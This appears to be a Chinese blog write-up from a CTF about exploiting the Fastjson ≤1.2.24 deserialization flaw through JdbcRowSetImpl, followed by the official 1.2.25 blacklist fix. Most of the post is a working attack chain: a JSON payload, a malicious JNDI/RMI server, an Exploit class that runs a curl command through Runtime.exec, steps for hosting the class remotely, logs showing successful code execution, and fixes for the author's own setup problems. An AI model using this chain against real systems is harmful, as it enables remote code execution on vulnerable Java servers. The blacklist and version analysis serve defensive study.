前言

前几天护网杯比赛中,有一题关于Fastjson反序列化。有人在问为什么没有利用成功,而且比赛结束后的writeup也是用的JdbcRowSetImplEXP,所以简单看看原因。

easy_web.png

利用

写了一份fastjson反序列化漏洞的漏洞代码,简单描述下如何利用。

JdbcRowSetImpl

先说针对JdbcRowSetImpl的漏洞利用。

post提交:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}

JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference =
                new Reference("Exploit", "Exploit","http://test.joychou.org:8888/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }

}

Exploit.java

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

    public Exploit() {
        try{
            // 要执行的命令
            String commands = "curl http://test.joychou.org/fastjson";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }

}

具体利用步骤:

  1. 提供一个JNDI的Server

    javac JNDIServer.java
    java JNDIServer

  2. 编译要执行的命令,并且提供一个Web接口

    javac Exploit.java
    java Exploit
    python -m SimpleHTTPServer 8888

提交POST的EXP,Content-Type设置为Content-Type: application/json
刚开始我测试的Java版本是8u121,但是后来了解到8u121版本默认加了trustURLCodebase选项,默认不能用该EXP。

重新下载Java 1.8.0_102进行测试,报错如下:

javax.naming.ServiceUnavailableException [
Root exception is java.rmi.ConnectException: Connection refused to host: 172.31.43.252; nested exception is: 
    java.net.ConnectException: Operation timed out]

很奇怪,出现一个内网IP,在test.joychou.org服务器上ifconfig发现,刚好是JNDIServer服务器的内网IP。所以为什么会连接内网IP,我提交的EXP明明是:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}

查看内网IP:

[[email protected]]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.31.43.252  netmask 255.255.240.0  broadcast 172.31.47.255
        ether 00:16:3e:00:7b:60  txqueuelen 1000  (Ethernet)
        RX packets 63967662  bytes 27697084474 (25.7 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 62689390  bytes 24462345534 (22.7 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Google发现原因是因为:

这个问题其实是由rmi服务器端程序造成的。 客户端程序向服务端请求一个对象的时候,返回的stub对象里面包含了服务器的hostname,客户端的后续操作根据这个hostname来连接服务器端。要想知道这个hostname具体是什么值可以在服务器端bash中打入指令:hostname -i 如果返回的是127.0.0.1,那么你的客户端肯定会抛如标题的异常了。
果然是这样:

[[email protected] fastjson]# hostname -i
172.31.43.252
[[email protected] fastjson]# hostname
sectest

解决这个很简单,修改hostname为外网IP即可。

hostname 47.52.77.204

再打一次EXP,一发入魂。收到执行的命令:

183.128.132.139 - - [20/Oct/2018 22:02:23] "GET /Exploit.class HTTP/1.1" 200 -

20/Oct/2018:22:02:23 +0800 [-] 183.128.132.139 [-] XFF: - [-] test.joychou.org [-] GET /fastjson HTTP/1.1 [-] Body: - [-] UserAgent: curl/7.54.0 [-] Referer: - [-] Cookie: - [-] 80 [-] 404

后面我又在Java 1.7的版本测试了这个JdbcRowSetImpl EXP,又有一个新的报错:

Caused by: java.lang.UnsupportedClassVersionError: Exploit : Unsupported major.minor version 52.0

Google后,发现是Java版本不兼容导致的问题。所以我在编译JNDIServer的服务器上用Java 1.7,直接打成功了。

最后的总结为,这个EXP适用于:

  • Fastjson版本小于等于1.2.24
  • Java版本小于8u121
  • Java 1.7的写的Fastjson漏洞,JNDIServer和Exploit的编译也需要Java 1.7编译。同理,1.8也一样。

官方修复

在Fastjson 1.2.25版本修复了漏洞,EXP给出的异常信息:

com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

跟踪代码发现在1.2.25版本进行了黑名单类的检测。

1585756103(1).jpg

黑名单如下,所以EXP被拦截。因为EXP的类com.sun.rowset.JdbcRowSetImpl是以com.sun字符串开始。

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

不过网上还是有很多绕过方法。

标签: none

添加新评论